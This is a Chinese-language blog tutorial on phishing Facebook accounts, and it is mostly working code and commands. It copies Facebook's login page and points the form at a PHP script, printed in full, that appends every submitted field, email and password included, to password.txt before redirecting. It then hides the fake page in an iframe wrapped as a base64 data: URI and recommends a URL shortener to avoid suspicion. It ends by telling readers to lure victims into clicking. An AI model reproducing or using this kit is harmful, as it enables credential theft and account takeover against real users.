本篇博客以盗取facebook登陆帐号的钓鱼为例,来示例如何钓鱼功能的基本步骤。过程很简单,主要包括两个步骤,制作钓鱼页面,与钓鱼URI,其他网站的钓鱼页面也可以采取相似的方法,刚接触钓鱼的可以看看。方法参考hacking email or facebook password using iframe URI phishing

一、制作钓鱼页面

以盗取facebook登陆帐号的钓鱼为例,一共包含三个文件,index.html,login.php,password.txt

第一步:制作index.html登陆页面

首先,打开 https://www.facebook.com页面,查看源码,将源码copy到index.html文件中

然后,编辑index.html文件,找到

<form id="login_form" action="https://www.facebook.com/login.php?login_attempt=1" method="post" onsubmit="return window.Event &amp;&amp; Event.__inlineSubmit &amp;&amp; Event.__inlineSubmit(this,event)">

将action的值改为

action=login.php?"https://www.facebook.com/login.php?login_attempt=1" 
(login.php是用来盗取登陆帐号密码的)
将index.html放到web目录下(我的放置在/Library/WebServer/Documents/facebook目录下)

第二步:制作盗取facebook帐户和密码的脚本login.php

<?php
header ('Location: https://www.facebook.com ');//跳转到真实的facebook页面
$handle = fopen("password.txt", "a");//将假页面中提交的POST数据写入password.txt文件中
foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "===============\r\n");
fclose($handle);
exit;
?>

第三步:创建接收POST数据的password.txt文件

dani-2:facebook leedani$ pwd /Library/WebServer/Documents/facebook
dani-2:facebook leedani$ sudo touch password.txt  
dani-2:facebook leedani$ sudo chmod a+w password.txt  

第四步:测试

登陆http://localhost/facebook/
输入电子邮件与密码,点击登陆

查看password.txt文件

dani-2:facebook leedani$ cat password.txt  

看,email与pass字段就是facebook的登陆帐号与密码。


二、制作钓鱼URI

一般钓鱼会采用iframe用钓鱼页面遮盖原始页面的方式来进行钓鱼,接下来的操作就是生成一个有这个功能的Data: URI,并将这个URI进行短地址转换
第一步:生成攻击代码

src就是你存放钓鱼网页的地址

<style> body {margin:0; overflow:hidden;}</style>
<iframe src="http://localhost/facebook/" height="100%" width="100%" border="no" frameBorder="0" scrolling="auto">iFrame Failed</iframe>

第二步:将攻击代码转换为data: URI

登陆http://dopiaza.org/tools/datauri/index.php,将上面代码粘贴进去,

对应的data: URI

data:text/plain;charset=utf-8;base64,PHN0eWxlPiBib2R5IHttYXJnaW46MDsgb3ZlcmZsb3c6aGlkZGVuO308L3N0eWxlPg0KPGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvZmFjZWJvb2svIiBoZWlnaHQ9IjEwMCUiIHdpZHRoPSIxMDAlIiBib3JkZXI9Im5vIiBmcmFtZUJvcmRlcj0iMCIgc2Nyb2xsaW5nPSJhdXRvIj5pRnJhbWUgRmFpbGVkPC9pZnJhbWU+

将上面的data: URI中的data:text/plain改成data:text/html

data:text/html;charset=utf-8;base64,PHN0eWxlPiBib2R5IHttYXJnaW46MDsgb3ZlcmZsb3c6aGlkZGVuO308L3N0eWxlPg0KPGlmcmFtZSBzcmM9Imh0dHA6Ly9sb2NhbGhvc3QvZmFjZWJvb2svIiBoZWlnaHQ9IjEwMCUiIHdpZHRoPSIxMDAlIiBib3JkZXI9Im5vIiBmcmFtZUJvcmRlcj0iMCIgc2Nyb2xsaW5nPSJhdXRvIj5pRnJhbWUgRmFpbGVkPC9pZnJhbWU+

访问修改后的Data URI,我们可以看到

点击facebook图标,或下面的url链接(浏览facebook.com),将跳转到我们在第一步中创建的facebook的假登陆页面 http://localhost/facebook/。

第三步:生成data: URI对应的短地址

很显然,这个URI太长了,会引起怀疑,在真实环境下,我们可以先进行短网址转换,例如http://tinyurl.com/就提供这个服务

最后,引诱受害者点击这个会连接到钓鱼网页的URI就可以盗取帐号密码了。


参考:

http://www.hackingarticles.in/hack-email-or-facebook-password-using-iframe-uri-phishing/

感谢碳基体MM的投递:)

源链接

Hacking more

...